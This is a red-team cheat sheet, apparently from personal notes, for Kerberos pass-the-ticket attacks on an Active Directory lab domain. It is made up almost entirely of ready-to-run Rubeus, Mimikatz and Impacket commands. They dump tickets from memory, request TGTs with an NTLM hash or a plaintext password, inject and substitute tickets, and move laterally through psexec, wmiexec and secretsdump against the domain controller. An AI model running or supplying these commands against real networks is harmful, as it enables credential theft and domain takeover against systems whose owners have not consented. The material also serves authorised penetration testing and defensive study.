N1NJ10

Pass The Ticket

Resources

Cheat Sheet

Commnds

  • Technical
    • Setup
      • Runas 
        runas /user:redteamrecipes.com\tsoprano powershell.exe
  • Recon
    • LOTL
      • klist 
        klist
      • Win32_LogonSession 
        Get-CimInstance -ClassName Win32_LogonSession | ForEach-Object {
$Luid = [System.Convert]::ToString([int64]$_.LogonId, 16)
$User = $_ | Get-CimAssociatedInstance -ResultClassName Win32_Account -ErrorAction SilentlyContinue
[PSCustomObject]@{
    LUID     = "0x$Luid"
    UserName = $User.Name
    Domain   = $User.Domain
    Type     = $_.LogonType
}
      } | Where-Object { $_.UserName } | Format-Table -AutoSize ```
    • Rubues 
      .\Rubeus.exe triage
.\Rubeus.exe triage /service:cifs
 
.\Rubeus.exe klist
.\Rubeus.exe klist /luid:0x549f77
    • Mimikatz 
      privilege::debug # get SeDebugPrivilege
 
sekurlsa::tickets # sekurlsa uses memory reading and is not subject to key export restrictions.
kerberos::list # Only for the current user token
  • Generating
    • Impacket
      • TicketConverter 
        impacket-ticketConverter Tsoprano@krbtgt-REDTEAMRECIPES.COM.kirbi Tsoprano.ccache
        • Importing 
          export KRB5CCNAME=$(pwd)/Tsoprano.ccache
      • getTGT 
        sudo ntpdate 192.168.99.30 && impacket-getTGT 'redteamrecipes.com/fmoheb' -hashes :70acaa6bad1c4d34405f748f3fa4a9d1 -no-pass -dc-ip 192.168.99.30
 
export KRB5CCNAME=fmoheb.ccache
 
ntpdate -u 192.168.99.30 && impacket-getTGT 'redteamrecipes.com/tsoprano:Password123#t' -dc-ip 192.168.99.30
    • Rubues 
      .\Rubeus.exe dump /luid:0x6c2cd1 /service:krbtgt /nowrap
 
[IO.File]::WriteAllBytes("C:\Tsoprano.kirbi", [Convert]::FromBase64String("doI.."))
  • Dumping
    • Rubues 
      .\Rubeus.exe dump /luid:0x3e7 /nowrap
.\Rubeus.exe dump /service:krbtgt /nowrap
.\Rubeus.exe dump /luid:0x549f77 /service:cifs /nowrap
    • Mimikatz 
      kerberos::list /export # export
sekurlsa::tickets /export # Export all tickets needs privilege::debug
  • Passing
    • Rubues 
      .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:doIGSzCCBkegAwIBBaEDAgEWooIFMzCCBS9hggUrMIIFJ6A.....
.\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show /ticket:'./output.kirbi' /show
 
 
.\Rubeus.exe /ptt /ticket:doIGdDCCBnCgAwIBBa... 
.\Rubeus.exe ptt /luid:0x10888c /ticket:./output.kirbi # inject in luid session [maybe mine mabe not] (From klist ) this need admin [https://web.archive.org/web/20240714192131/https://unshade.tech/sacrificial-session]
      • Substitute SPNs 
        .\Rubeus.exe tgssub /altservice:http/rtr-dc /ticket:doIGdDCCB...  /ptt
 
# Note i'm not writing rtr-dc.redteamrecipes.com or the IP 
Enter-PSSession -ComputerName rtr-dc
    • Mimikatz 
      kerberos::ptt C:\Users\htb-student\Desktop\output.kirbi
 
token::elevate /domain:redteamrecipes.com /user:tsoprano # Direct Impersonation
    • Impacket
      • smbclient 
        impacket-smbclient -k -no-pass redteamrecipes.com/tsoprano@rtr-dc.redteamrecipes.com
      • psexec 
        ntpdate -u 192.168.99.30 && impacket-psexec -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com
      • secretdump 
        ntpdate -u 192.168.99.30 && impacket-secretsdump -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com
      • wmiexec 
        impacket-wmiexec -k -no-pass REDTEAMRECIPES.COM/tsoprano@rtr-dc.redteamrecipes.com
  • Tricks
    • Time 
      sudo ntpdate -u 192.168.99.30
sudo timedatectl set-ntp off # if u ran from virtualmachine
sudo date -s "13:20:00"
    • Sacrificial Process
      • Rubues 
        .\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /show
      • Mimikatz 
        misc::cmd
    • Describe 
      .\Rubeus.exe describe /ticket:doIGdDCCBnCgAwIBB......
 
klist -c tsoprano.ccache
    • Renew
      • Rubeus 
        Rubeus.exe renew /ticket:doIF3jCCBdqgAwIB
      • Impacket 
        while true; ntpdate -u 192.168.99.30 && do KRB5CCNAME=Tsoprano.ccache impacket-getST -k -no-pass redteamrecipes.com/tsoprano -spn krbtgt/redteamrecipes.com -dc-ip 192.168.99.30 -renew; sleep 3600; done
    • CleanUp 
      klist purge
 
Rubeus.exe purge
 
mimikatz # kerberos::purge

Notes

Graph View

Backlinks